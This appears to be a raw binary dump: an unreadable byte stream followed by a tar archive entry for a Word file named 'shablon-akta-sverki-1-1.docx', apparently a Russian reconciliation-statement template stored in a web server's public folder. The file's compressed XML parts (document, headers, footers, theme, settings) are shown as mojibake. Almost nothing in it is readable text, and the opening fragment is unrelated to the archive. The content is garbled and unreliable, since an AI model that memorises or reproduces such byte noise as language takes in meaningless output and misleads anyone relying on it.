�,�vL�֪�-�{�_^@�6&Z���Ǘf2La���Uw�=}k�]�0Y.���L����d�s�'��&��x���IC��ϟe�zZ�y�[�̹h����^���11�	��s��|���4��\��	���o�W�<u,-�[I�U�JC��*�`�U��i#���ɞbߵ��W�g,i��Ҝ�z	�wMK���da��^�\�'W�)`RIE_B�/�@ȸ1f���s"Y��k[.u=@��՛ �ɽ�j�9W$D�h�F�k���F��K'��)'�7�#ZZ$�K��\����u�[w=���>w*��;MA��#ր'�m�YoNy8�7p�+��WUnB�g��]N�Fm]���)\��yƝ��4�3.�`y�9�T\��8{5Ȭq�� 2���BH�B��n:`_�ѣ�Z�t���,ܖ�Q��3�9��w�ci�6�=��E	!-��&F<ѯd�9DU
��D��ݺ'�ԏI��j��P
��
{M��k��)HF�,��i�,�Z�j���Bg9+?0�	�Ε�"�*��PqA����Nx�d�o�����~��]��׳��)ӏ�ʐi(+
��|�*;����Z�/ �N��K]��<O( ٶM�PV��Q
�/�Q����Q"r�)��,{$�^�'y���,#	�M�aLK76N��"�<�V��$p����~@�h�)뻼 R���|����/��K�'�r���ݶa������zM׌�z�I#<�0�G%�P�1˷�5�]`
Y��i_�G�G
�<�n�]��$x��ӂ���������2��!����c�1V9��g�7�,�p'WP`Ʊ�ź����{�±.�]��L=�,�D��Pz+^o�1�ţo�:��]f\�$��NJ�"�Bۤ!���~/ K�ţ{�"�>��r�0n�".�60r�X�؏�?��A��ۖ;��dA��?cb�2��5a�ޓ{���n�$�7��͜�Fa8|�܄.���
A�0���!�)����ƫ�?�LP�e�Nn^�3đd�|dpU�8�����O	g0Ii�S�\�R��Sa�	sj�H����E+��e�zdUykZ��x��	A��sS�9���G��D����ŒĚʮ>�m�>]�$�ci/C}��}�@/{�}y��w�\�9�{�H0X�*�7�ֱm��.{� ����m�����2�6q"̧=CP�mPH
ӿ�>��)��p"o�����щ�����c,_��n��֌z�%&�9^��O00��z��o38�.#�e ҳ��ۜ�����p��d�
�.��2z��q�v�dק�ܼ"N���押��ʂhL̳���4�_����^�ej[�7ce&G����u�έ�{1�o"�ށs�Ԇ�%�7D˩�{��1V^�ܱϝ��"1��q���	^��w�L����7W�`�"7���h�q�,"���oM�&����S���M~xd�x!z�|
���u�
Avm��E��`�n��FU�[,�/�~h�r���X��#E��&�r���_
���$�ʟ�w��d��N-��Z�h�FUk�:�f�&��ڂ�?�j��n{c�d�[�9:�Gg���`��8�7��N�K2���oX�O�GwҴ�V�v۸y*c��T�2�@��ZBq�~H��i�2��t��P�ݵ����:�7�{��22��M%`�`Q-=���
�IERUD��]h�n��=$o.'�ub�\|!���^�z�(�z�A 3��FY:(I�XG�,]pa�rAz���B�5i%���F�f��d�>
��`C�m�0������:Բ�Х)��eퟵ�%��9 ����wMB�@�9�d��葪aE��S���$c@�I0օu[���K��.>XEU���r�b�ձ(�/��:3�]�^��CH���*ҙ�F]��qu}:�Q�,v�����T�8�H�W+�ֻ{���Ϡ�o��yf0,N.��S��I>.�h���d$��E�<��'1�g86��B��g<'g�-���{&���B�òDY8�b��<i4�ԃ��&%[F�ˈm9��D�W�� ic��O��
�JѨ����\�у�Cce��4�ϫI��cU�e�'��	
��ù��Z��b���5M�����t�3�[�AI�cm�8Al܎)	��E)jQg���<X���~{�<��1�`ڿ�o�`��o���.*@3P��De�!�`PP5^����
�Fϰ��YH��\nj�O���9b��uR�{ ���	�7�. kA^�U�1
E�U� 0�������.]��`lpgNV����B	����{������9n='�[N�_�:2>�:i�Ʊ굾�3x�
ld�)cg�~����$
�V�xS��Z:|��
��Ҝ�bK^Y�\<�������r\w�h?�c�W��⍍Ġ�{��߯漋�����|�Y��X��w��u��>�DhqL7���G��q����v�[| /�x͉z;pZ��~��0���_p����j+5����7C<Og4I�u��o�`���.F��u�5�cnk�&ɸ�;X��e�q�������[��^!���\�����a|�
��2~�����j� �bq\��E9"���o4��K���sk|�؅U��
�<e:�[�4�zo
��U�
�Z�7����MN�T��pߐ��m
�.rO$����+��)�{���;�'��5��iq�8�L�[���@3g�a�������‡$����?�m���ym�߲B�� 8!�r��-���c�>��Ģ�������ǟ?�X����r�
<4odfzq/shablon-akta-sverki-1-1.docx.tar000064400000073000000000000000013521 0ustar00var/www/html/back/storage/app/public/87/shablon-akta-sverki-1-1.docx000075500000067236000000000000020766 0ustar00PK!�ˬ�	[Content_Types].xml �(��VKK�@����Wi�U��=�8������]��S���I��j�5x	$3�c�MȌ�o�d/���`�|�2p�+��{|���,�pJ�`+Hl:9<?����.l��9OrV��pT)}��6�y�Ý��\z��p���/�K���=��D0�euc�U0��R ��S�T���랴�!Q�;���-E���ND�������+/�����4;|���|����enM�T��n���L��5\#ػ�C�m�!�� ��&�o�H�2��>���]	Ї�
s��W����y���{t�8����8Փ�-s��q��ዃ������W���5qG���_�t�����9�3}8�P��@����&�i~���?��������C��N?�F������D�ڡ�׻����PK!���N_rels/.rels �(����j�0@��ѽQ��N/c���[IL��j��<��]�aG��ӓ�zs�Fu�]��U
��	�^�[��x����1x�p���f��#I)ʃ�Y��������*D��i")��c$���qU��~3��1��jH[{�=E����~
f?��3-���޲]�Tꓸ2�j)�,l0/%��b�
���z���ʼn�,	�	�/�|f\Z���?6�!Y�_�o�]A���PK!1���V�word/_rels/document.xml.rels �(��U�n�0�W�? ߋ���C�\�J��T�Ձ塂��M[��Q�i�Ճ9� όg��f��6�HU���<y�˘��/7�S�x��!&=(�M��6��0ԇTUw��,\ŤB�(UY-S���/��-C]ʒv,�d%�(�T�$9��vyL�.�i��EQ�<����	Z�AjF&K@�9ԑ����W.
�c�
LF��©	���j�pBl�oDhmD�M�ze3�T_a߀ف���ߥ|vP(��6:�	�5Bk��ڥ�9��q�k N��H�@ܹ�?!��5�`��º o]���b;�����A���$P�5^��<��	z�'���PK!\��0Fu�word/document.xml�ko�����B�R �H�z�[��`Y8i�~�%��B�I���I�eC�&ݺ�(�:�/pS�����.��~�D��)�I� �)^��s�y�C��O�*��f]�2���������B��k�Jδd�&���,d3�������|M��4��0͜�kV2ۖ՜�f��Ґ͹F�j覾i�U�FV�ܬW��nԲ"/��S�Ы�i���ڮlfp�h�j���'�R��-��߂!�
$�-gK݀��0���
*�7�B����^U�|<H��A�!�A�uC*Ń��N�nכ��/n�FC�𩱕m�ƣ��-�)[���Z�0L���ڣ+³<�\�o�lC�)j��B�2;�6�̿��'K�g�;È�?���(�y�PTL]3��MO�q���.��^H�6T����Q\���
#e`��;�o�l�!
|�! �Q��Nw%
̅�/�E�6�
�@�P��#���Q�g��1����]0�A�%�{ͭ���SC�i����v�%�{�
���vI0[�m��UB�:gK�
yC�+�<�a6����xW8"t�E�*l�r�6T�p�p>ܷT<a~WV2��󪙬sC�/�ʦ�f�ʾ����S���v��nYz�5�i@��u��VŇ���[���|���U���7~�DZhI�\��r��6��w���n���ھ�]_���.=ӛ.r�v�Bf��1t��)WLUW���Kg��q�2ĝM�wr]3�5�`�ƛ��"��zW>�w6l�6�J�۩����*^Z�07�i��x{r���Y�bEWw�]v���M���f��!;Z�S�^#����(S1��Fs�b9`X�Ipǰ�KA7� ��ts9p������D>9_��`�pi`1�qHmS�/K���2r<�c��,�P�b
��J;���:d��*��9�V�n��MYs�	
�j�LkuGQ��7�Bo�'^�(Yq�wh��ܤ��.��-oE&��%���t�3��B踾�l�;�E��Jyսr�U���T�n2XDְ��MK!�@Y�N��(y'�;����OUw�U�)��7�i��e�f��
�zC1�ϔ=n]o�T++X��̺xq{	���+U�{�m�[1��|�Nt��|\!�2Ż�c����^QT��؟�����Z����>=�Ҳ����IQ�tR['� nq�\K�4S1v��"w��{��w�|��u�60�G�1g�dkz5+W�[�b<�g8��F͙b&Siʆl)���g�3qRQ_�[���Qp��t��"Q�E�
���á7����5>���Y�'E��C�hh�6:N%�0<�|��a��i�Ƚ�_a�EYrk)t/R�POJC%z�~C���C���Ϝ}���'�stj?EW�-�ޣ+�~���(�_�Ktf���1�����{Tz�$���@��p��.����{���� �%'�"?]����8�V�6��Cd�:E����z�tJ�6�0���b/�XǞ�K͡WS&\>gzm�'N�xLS��E˄����v���2�Dz��G�B�arL����B-�y';�T�G�A��T Я�A���$�[���W:�v�BM�v�D:��5�����hh~��:��+,�لP�],哨�G�B���ٗ������ZBJh�,�`��W$������W�iй^�ަs�1H��e|El���7B���B�8$�x�^
��J��Ryib���!���e��IJNg�WtJJR�$M�'�����O���&�Ю%%d��d��o�!�^ه�3݉�5fķ���"�X�c3�ALg0�2����������/���ɥ���9�����5�%6L�X_\`}����+�C|霱�5&k%'��Ѽ�>Ef�L}U}f�6]��rM�әY!�[*'���9�>�Qp��1W�H@����~�~�ӳk�J��̭w:\II�]�풶�ҦW�ox�n��k#�o�_wNn{��h��M�~N>uuˢS.b�-�)�N"��;�~�\>&/��x����K9E��Ȏ.G)�y�Vפ(�|.JM�B#ӆ�p.Ÿ
�`��RN*�/�XZ�Eq5��	a1	�v��r��0{�/��RNtԩ��h2�nf�d+��CL��M�GA�џ�}�9�
QZ
�k��ke!�+�*����,L�����^z0�D�p�n�ﺐ�/y�:g*|��4K
ܪ�Ù�9�>�Ծ4`���W�s�}��a�1_��������"�N�M�V�伮�	��O�/x��&1�W��{z3��9�hl�g�)њ�����G�o�64��,,�K�@�a�3�G=�"8���փG��m;I�]�8����9�`����|=0�t0�@��P���NN��{��P'p9p�H�3`��
��/�
�@[
AF�ɁM1�9�_�]gmORE�+ރ��ݪ�Y��j�r���~ʸ^tG�q��*��WR(>�)ڭ��$TL��1�:}�x�6��$��6sr�6`C_���c�����'���Y<�n�8�=܉C��K�ya�/��|�T_�͑���8_ZVy�z9,56/ω�1#Rq���	m����o�,k���Ge��c~����*cM�FOm\7$��觎��*�*4؉����-W�<^n�-�s�FosG�{Ǻ��A����(F�r���"uEp%!ծ�T�q�E5O~xΒ�n��(�s]ևtn�$$k��J2��=M&#}�.H�`�~�]��]2�J����_}��˚��B~qN+#���s�S��4e,wJ	�&�6�9a�J��`/άiM����y���K��Ī�8.g4N�Z�djEMC�7W
�l��f�oɆk�����/&u���"�U��\����1������~�-�1\|��Hc���~:��W��=J�]���<��jԘ�/�Y �yhJ��hJ��)�R�e���7�R����)%Y�44�@S
4������&Q9���f��h׀v�D�b�VЮ�C����k@�ƌ�w
�5F̃4�Q�]�5�Ѯ���v
�@t�U�@@#�4I342���'����>42tKB�N�R���CA#�tz�a��L#�(A'C|���ɐh�z(A!�^�N� &�$V��xc�8:��a8�փN�d��NA'�(�y��1J�,w2��2@+�)HA@
Z&����@�6��B+�����-	�Z85K1�2�2�5�V�W��~
�2ӽ
9!�
P���R*;~3�C�%;���k$��_�I"���m��s!��G&���S|1�t.@��pp#���'��CGW���M��ubw�泱��	��3��WD�d(jBz}��K��6<��=%*�6k��n��>Խ��w>\B9��`���=!=���P���R*R������-]���� �(C���ω5��Ts�����a(�փ&�^�Q�������}�����v�p����MPK���҇ס/������'
M�a�� ޚ��B��r&��=,*cτq��a��R*R�������[���5$��]َ�������#����h�9V,m
��0��A[C/)	m
����m
Ӿ����I;S�~E�M��H�O_zi�k�ᙵ�m1�����7���A���d��?���o3���~����1�ޣS<r���I�*��A1a~]�Z-��P�����s�� ��mx*Ơ��q9�di�ր /��6�퓩�C���3��q��;�d�����	�D/i�:H�4�t/iNu��s�*��"(G(�u��h6�x`�&TƳ��O�1��ι�
:F���]}ġK��9�8'�?�ՙ���<.4��K�pDF���d�B��ߐ��v�ՙ@�{�<�z�)�Do�pT�F�^GJ��ÆJ�xĆz�:Pw	r�}=wX��
c����˺QS��鄝�|M�2�|��t��������`Te�C����e�xs)gǛZǛ\Sn2�a��l�I����G.,^Z��6�i���G�.;g��]�ihm��z���^���w���	�5xl�)���G�ua���Aj����O�V
Ry��l,O[ΉK��xyZ�͜˪�}�ݯ�۸ta�L�L�N&��r�!8]R�$>+���� e�b�/vIO����5I(��c��⿝�+m�u
��̰�����.2R!K�
�l8��KG�
K�R�'o)ˆ"�v/�yzt��8n�`��~��u>]�A/���B�0����B	Aedj��h3�b��_`�y���%���o�!�^ه���	��O�[tf?p��Jq��ҝ������?���[[O�F�+V�Z�瞠����C��쪏+ǞǶlC�}�j�j[�RQU-�?�))Y�_�����C�	Yr� �xf<��s�sf���Yk!Q�H��[�P�ʪ���a��[��J���k��j���"leIA
�lg�V���;��2��,^!���B���"1�d�!P�Iz)psk��+R���#�)k��)�h-dZ�F�>
e�9n�_�[|���\�+��бe��6Ce3I�g�������W M3*��,�?�?!��D�?q��;jEu�7�{l���&)7[-�c� J[�pZ77QQ�Ӝ��9
i6��LQHMҁ�x>Db�H��>W�
D��%3�{yORYҝ�����_L�F������Z(���K�:T�Hސ�����V8:�<�������W�tz�02?/��!^��1"�-��
� ���om��/{v�Yf!E����� 0_B�����5���{���\ lC��_�'>��=��lgR>��{L< �V���q�5����*dF��>���%Q�C���<d"5�@=�D�'8<������'8<��	Opx�3���/�JQ8��H��L��Z�T%oJzSO�)L�Ƥ�o_�`A7��7,�\����.�{,@L���+h'pʟ�iк��&��ّ!M>	�ݝ��N�ÖiF1kЙm�,��w$�a2͹62�0��`Ճ��~\���,L=�@w���xuf�5�/n�"���L�_&8a��4�[�X���wdϜҺ{����M�g��
�pT��cMݟ�6���*�_�7�n	���)�ՠ�#�3�1U���r鏆F�r`�!<��Ǽ
?qiG��>i{jr���>����M��#���<�X$KO���g��d���Xsc�R�;o��y�É�Nː��U>8����U�Qϔ���̍�Nc�U��>����N�����c��tv���h��
Ax&;@&�8��ǎ�����3K]����&���9YA����w�>	�wp�͖���`�e�ڥ��pKU��hu���~a<��]6*�mVW�-iż���
���ڋ��m�pQ���)�m���nvu7xN�_���
4�"�ߢV�Dc)oP�L���uPu󁹂�8F���|����f���Wm��>_w�fϦ�Iq�zb��b������#h2�j><M>��G›�7��`����_��[V2����<3�:[
�׬��ǥ�P��k�e��޷#1��\�
�`ak�j�-�k���\0j�Y."��p4�N�!� IA�6*"�2|�G��g��"�;%�Tԫ��$n����բa8t�~�ug�ao�׀��eڇ�CG{'�R��)y�&��R w�7L��a�HHAu�-K&�&o(У'�Y�^"jr���
��o#t��e�p*�ɩ���uL�f=�vⴟҞCO=,dC#��9|R�T਎�r%�[1��J5UG9ՑA�h�v���Y0��.�+������PK!ĩ���word/header3.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!���k�word/footer3.xml��n�8@��W�E"K~$6*m�YLjL��%�V+>J�v�+����?�n��?84�zفj��t���A�u�}�^���ܳ-�ұ�>v�[Q�0�S��^�b�
�!I�>^Q��_�x�DF!��z����g�ȁ��`F��,��"2ǁ`���8��R���Zn+�I%�5�:#|A4�q�}=Z���-��3���0܃!]��VA^x�UT�`TϱVU@�F ��B�6#���^3�W%�4#����f�J:�j�I9,FB1b`��#��\XO�$6+`�z��c�@�$�vx0��a"�I;,(��s���Q)oMd�_!����D0g���sG�b!��Ų�p֔�����Ă%ž�tk�ˮ�i��r�c~�d��'��'b�D�,,a��ōB�\��R�
��5S�`d�@r���a�n��+�)���>-[.���
-~�jS�K�>��g�v%�s3#���\(2I�"�!i���-�
�E���JС���v��`A�v;^�Î�
E0�������$	U�b��L)���	�V��1�!!;���ǟ�f��dg���p�R9�	n�#	�A���V���	.�F4"�Ĥ+���:)3��1�����!(fT<�;�"i%�|oPٻ]I�N�R�����Ɣk�n齱�<В -�T-("(���Scu�����Z�����?�o/�o�>��=�TE��Q�;�wS�*�(.�J�(ȋ���50���Ψi� a#��?_>������=����\�����J+�w��#/:n�妸g^4�#� ��N����ݗ��w��69Vhe�n����E�}Ym��eeu��Rgd��?��PK!��\dJ
word/footnotes.xml̖͎�0�����U[�jo�������o�qB�m(
��K�홟�3�1�?�Dl��\���!
��*�r�@����P`�	ɔd�g=.?�q����1Cڸ�t�6��cK7L��eU�T	�ҔS�e<�������Z���[b�Gw�h�!8{��
1��N��f�?�Y4��Q5�5�^U4�U
Ҹ�Bp�n�A�4�F6I�n�F9�f�+�$,���`h�X���5q��g��Nj��"�:�0��0�B%,&5E-Pnd|������?�j�&��e�h.�te�ذr���p}�pѕ�����Vd�]������iU��l#���Uʯ��ʼnx�ѣ���{�JT�i�N�9Kn����`By˒�U6!�<�Xvf\c�^�Z����Q�>�}��S��o�֡��;��'�uC4\	��Ok�y�@�Pe�'�p*�o:�<�V���5�[��!NS��{Qi�a#�����t�u8��Ԋ�$�\s��O���G�
�l��jBA.��1��B�q����8xɽ~�;��r�����Y-�ʠ|�1]��*���K��X�2ԋ���}6��?��PK!��*4cD
word/endnotes.xml̖ێ�0��+�"߃�����ޭv��:���o�qB�P�Mor�g>�3�q2܋4�1c���C0IU��f�~��ћ��:"�*��,z\~�4�c&�� ��sMh뜎1�t��}��QV�]�*��z�)ù2	�QX<i�(��F�Xt��};ZbH�8�tK�c����<k�@� j��7�&ثj�F�@��Aw#]nҍ4h���H�&i֍�('�,p���ɵ2�8x5,�y�t��8��S��'�p��Ax�b��L�b�����(32>��N�^z\�o��i�R4L�"rlX
�P�n�>u��J��m�]b'��.�Q�v���*SY��?�_�����(l�#q�h#�㚕UX/�)5gɍZ `�L(oY���&��g�nÌ+�=���s���Z~����=ս����
�c՝w��O��h8��6R�"��� (v�_aW�thY�*y��-����!�񽨰��
�"�����t�u8��Њ�I���̳}~��%���Մ�Z0"k���
�C�}����K���)��s|r/��rʔ�ҥ訒�ˬ8�^��4�/�(�J��]���PK!ĩ���word/header1.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!ĩ���word/header2.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!:�8��word/footer1.xml���n�0��W�;D�'P��X�U�V����C��$�x������n���0���3�7�')�#��k��h��)�S��	z��2Y��y�R"�b	:3����6E�y�Z��04A��&��ќI⦒S����j�u�q�p�m�gaV��Ք9K}'�H�q�ԏ�ZR��>b��٩eD�!���]�l"�E]�|0j�KW��(���H�n9�4�V�H�.i=��)'�-pm���L[I<|�{,��<�	�
����
�p�9���9OVXꔉy�Pt�Vŵ~r՗�㋾���E��� ��U��2�����\;\���d�@�_q���_a�����iwIe�c�ο�_��ǎ��������l�H��v�Q��In��i�`Iyϒn�lB<���86�h0�,�V/��j�a���4~��|`�Uw�	�>3o91p$H��C�#��� �v�|®eӡ-�LP�p�H%(�<zZ����A���J��VÛ?��G"D��
�g˱z�d���PK! 6@�I�word/footer2.xml��n�@�����W�"16��Q
i�ESԐ�18�\:3ܲ���{�
�k6}�F=ccl�GQT����矙3��dABc���a�40u��qǼ~<82
��P�(�K,͓��7�󶯄j*�s�v̉R�mYҝ`��!	\�$�աˈ�|?p�5g³��]���`.�R��!i�q��hb
�Y�	�)��R�Z�Q��;���jX�UT+W9R��/�k�#9yR���'�#�ʉ��qLa�g� �bl$n����`��Z��H0(��%�jC UooB�"��a�K(�cNm����ގ��D!��?��;%��h�!��r��	'ei08I �]���0�ݜ���S�/e
,b��$���&ڕ;�E�9'�0M\ji2�kl 	��nP��F��0Pf8'�$�Q�����\�)Oi��h�ٟ���u�eO�|���	���۾S&�(GPC����]1�3�� =��}���3�ˆ�4�Ֆi���t�ϣ���9
C,��`��ظ�����>0�1�o�-�5
�N1D�m��1g��H7=F�ݞk�J�ᴜ������c����1+��i��n�I��}4
Uf$R�L~��!N�"��q������F}(]Rmɑ��X̰�]�|���mu���zx���7�NE�X��Y����ȍ�ѣxjwIv���w=��X�^���j���i����ֿ����I	�J�Bu��gz ���s�9H�-�[��݊wq+;e����Cu�W�L��<Q7��a��+���O�^��̋�n8I��t��vW��v���PK!�^}-$�word/theme/theme1.xml�Y�nE�#�����;M�:U��-�i�$-�q�;ޝfvg53N�[��@��8P	�p@@�qi�}�B���fw�{B�&�
�w>~���_�3�O��<iz��U���M¦w}�{f�CR�$��'��
��.����y��"�\�M/R*]�T��X��)I`��E�LEX	>�1�,T�K���C	�����O�G�#t�ߧ>��
�_��z�gbGs'��OGG�ǣ���'w`���`��r(�L�}̚���.��<İT�����U��W�DLC[��ON�{�N��1a�[_9�1�oL��:�N�S�3�`y�K[�.�Z�(��nWպ�/�_����Z�Ɗ�7�lX��/W���ހ�acV��z��d�
(.���V��6ހ"F�����82cH��KN�2�����*�l��5o��] 0�Ɗ&H
S��>еq�k�x���N��˙%-I_�T5��SE3��x�G��ÇO~z����T�p����ɟ��?|���gn�,����_��2���G�=<z��G�w�_�W��ҘHt��m�a�'^�b7´L���'X�8�Y�C���X��=xC@Kp/nY
�Db��x9�-�&�ŅӦ�ZV��$t�2n�}��T|;�r�HKK�-!�!I�Bz��� �I���M�.y_���0u�d���l�]�1�e�R�m�f�jq�b�A�m$Tf.��Yn��
�N�q���+XE.%w�·.D:$��N@�t�\CK��z�3�l�H��ys^Fn�v��ԩ3M�2�=�)��WN%�]!zq�ɱ�A���uZ*MD���$��q��敩^���7�й3	�׸�U>�򾻳��-{�^���n����s������y�-ှm�o���9Wϧߒ']�ɋ��a�}
�S�vԐ�+��s	�]X4�d|	H#��-\(�#��TE;NAl�He�:�(��f��[o��Dek���	h�6y�-/�/�c6f�p!hQ3�W�⹓	�e�9�Ռj���&;��G�M�#������L4$f$�~�a9��$���{֐���n����h�'�6O����Lj+�w�(&Q�u<U�,�g��j,4<�����8~R�.�¤�*7��<m�;-k�c
�D�B�
,���l�D,��Шk?���n4��˵Q�(����WǬL��("v����@lc�[�*�P	��kz"�B����ϫ`�7��:0K#��$]���܌�:�YI��lJ��4Ŕ�)�RN�):s������ѦDž�8t�4�~W�A�����V	1���֕�O�V���`�6
����T$�R��/aV˻b^9��όՕi��}�vu�.i�=�$w��M͞��腺P�ԓO�6�z<����Vj��W���Tx�Wmֱf�-4�~զpmA�7>��/�]�
�G�8Q"H�3��R�F=�9[̤iV���5	�X��q��������^����u9���̖h�t�1���x��ހ�Ҁ)i�#���.��>�DC����PK!ae��VIword/settings.xml�\Yo�~��@�94�>KA��;	By�Ņvw�CQL����=D��:�?��|���U�uus������C?�W��%��]^��Ű\m߽���/��]^�n���ös���/�����f�O��� ��f���a�v7���C���
�~K�0n��~�]o����j1lvݴ�[�W��`�\��o.��͉��f���p?�Cn���բ?��<b��y�C�x����0�د��a�X�gj����g"��">l��8���>
��ӈoao��E�ߓ�6�3������+B���>-�@��sv��s��# �"`�寣aN4�i�gt���#��d�ϛ���~�-�=B?���n<�I���͏���ݭ����������[�4�����ͮd9�������p;u�~���a.�}Gԟnލ݆6��a̲����/���4��-�2w���q\-��?��ԭow݂�_��闫�n�=���_�������ԏ'z�����r��0%��#��q��r�}�v}>2���p���V���p�$����DNg�Zn��4!S~�p�H<��ô������q]��ܯ�|�zl�]~��+:_>=��b�ѳ��t{�4d�m�2��|?�~V��v���Ϻ�=���d��R�8LӰ��y��on����R�X�1��7�U�R�*4xD_��Ɠd�B�5Q^7�٢��\8��5½���aj�1"��QI��1��c9���h�L����1�Bj��R��e^#&���*ւᮡS#��2�J{<�U�V�h�05�d�ԜNK�s.��U�	���u�
B�5�
�[��cmG�E
j�<&���g.�)��F�i�l�mP�\aY�*�v���}Z�+XE��~�1s]�Xs�%�wV�b�V�5\)�Z
�S΍Ӑ7r�@޸���H���+s���!�x�.���+&�!�e���1%�X�0�E���^���A�↥�@�X��֜�)�Z��n��16q,Q�YQ�S��ت��SRq�C)�-�䰅Dr!p�(
oP3:4����O�5a�I�z�Ҥ�j!9a2�'����֥���ʼ��T�^i��TI�K1x�Ն
���Q��#��x/N�Z��#D�F~O+��i+����m�9
�\��i��(�c���:�a
�Q��=� ���N	�W��1VF���8��CeO�:�5����+�xg�@�s����J���WH��Ɋ	<O6��H!�!$�,�2���}��6J8�$+�/�3(B�s�j&5	�S�r!��I��Ij��1�I�9��I륔�^)���+ՒE�(��@+/���1:�J�q>JH‘VZr~x��mxh��d�em5�qA:UpN!�6x�H/(�ˆv
���B�d��ŕ�L*Hlo���m+��L����X�E�%�%؏�:[O�K��Z0�U{�e��b�!g�D��Wjl��;\7��e�򦄕�#�9��<D)VpoC)!��TJ�	S3��e��Q��9�q�T^4v��(h���X)e��+��$��Td>ajQT\����J�U�U�E��:*��!$;��"�=��m�z+/�bQ��4c����z�l�P:��+���\������l�T�Y�uj
�X�ZJ����
ϣX�p/h��2Pd�x=Jg��kE�7�Z��N�nu�5	���c=!)bh������f�ę!�!#"�hj�[c,���ig���J{fqgN{��k/��:P.��O�|�1Fg����U�Nd!X�p\c�"3��A�t�
�ʤl���3W���H�9J(,��)���� ׆,>�1Z$��B��c1�+j�Ԭ���d�`8"$������Y�r#o��9�;��k�qs�Mĝ,�kh.
Rw�Z��z�a;����&np�'1�|^b�=�e�U��d�q���qU`��ll �F3�Ű~����2+����AB�-�lov�[P�S@�\[�x�\[a�R[a5��V����U�[b�
ja�Eah���V�(c��
����z���ִN�R�J����j�v��ȋ@O�Z�lݒ�x=^���R��OIm$��DJ^����9�Ͳ�j����ͽ8�Q�fP?��=>�r�5�P7���N9��9න��>ub�� B�T�c$w�+�(�Ɲ9*΢��tZ�S<d,��q>�R�v������P��bh���u�5:���FǑ�ŵ3%���}��K���;�k�s�r���磎�z\�8�>-wA膽�8!${�ud���"�H
D7z�.��ٻ�B��˦��"=�U�hѐh����)���B5�g*�8GEN�x���6|��ĝ���!�b�yn��+�&�<�S��N��g�^���?����y��"hh�^��a�*"���<
��h��1�u�UpG��ұ��BO2�<�ǸK�ɷ�Μw���p\�2p�O���LS��C���a�s���]���(�'��{>��k)��v�()��N\��'
�X?IdžUz���*�����0�"���i�)!�7��ܰ��3�	y��wS�D�|sz����w4�`�� x�p��;���:�'�
�R�=h��|0&�N0���6!	�5�$�ys$ ́��z
^'s��mmp�·D�dk�e���E��d�ƚ�R4d�)!�c���Y@��r�[��w"�9�.N�L�|4R^�#S��ƹ*�Ԅn��R�瑺�XB�D�LT�ś�{
r�
G�hd�r���1O�!�*�#mԆt���%+�7��8{�II�c&C����O�cG͘�
��Ƭ+���w8.Ģ����o��e��bK�<��m�e0�J�`T[p���K�p�40�-�=g(������w�(	��D 	Qp]��"��P����Ź$��C�+�^HJ5n�'e���4e��+'�<>7#_p��*���|�#�Q�QqʰKe�8I�0ܝLA|�%#pN�"/�[&����bR$�b-D[q}��`�"�-DBBC�IzܫI�F|����
�5��'e-��*~�]I�6��D�{��d���LI�Wef*�����g.
�����8�ʂY�_g�8�"�%Ogi����e5�`Dp��V�q)+#���yi�G��]��U�X��Iq6�0�mSܕ�Fܻ͖b#��)��$�W���ȁ^O���`<��(�"9�F�*G��_��$8��3�R�tN�5��)�1Yk|R��

��l�Ug�ePMŝ�¸�p�N�
�V8���1�aONHű���;E�c}��S�"��P���7�=>/)N񝟢��
DY�P���|����Ւ��<���3�0��\�/�J`Dž���4�U%PɄ��8�2�$��}%Y���B�G��g9%[��5,�
�s�1X:UD|�2ʈ��S���\�ͫ�i9���b�q��Ґ�o�׹�+%�3h;u���WJ1�T#$��j÷�	1�ST���ԬlDZ*W���q�l`�x��͸E�ܬF%�fM��A�db�)��<E�-�EI\U��5�{k�-	�p2#�Gh�����e���ǟ객.6���܍�����#��w�ڞ�~�ϑ�ǻ3xuu��n��c�8�l�����������>]���Dk��E?�qwG�i�v?n���"�:�*���v�i�9?�?�ݞGm��3�q��ˇ� ��<�t��-����Kg���W��w]�B��g9�Խ|	c|���ߏ�b=H�?w���
w�������� L�۲�~�{'N�8`�~�����/���g���3��L����g��L�<3�gf~����j�������z=<��^��p�6��������yx��xw��w_RXvSw����[�/�O+2������GG~wd|��O����i���W7�a�#�8����FI�z����$�*Y�|��,W!�x�K�W�Ǽf�{��ӆ=����PK!:���word/fontTable.xmlē�N�0F�W�"��8iZ "EХ����
�u���?�'m����I
R(�b[�M�����ͳV�^8��d$�P��F�mFV�$���
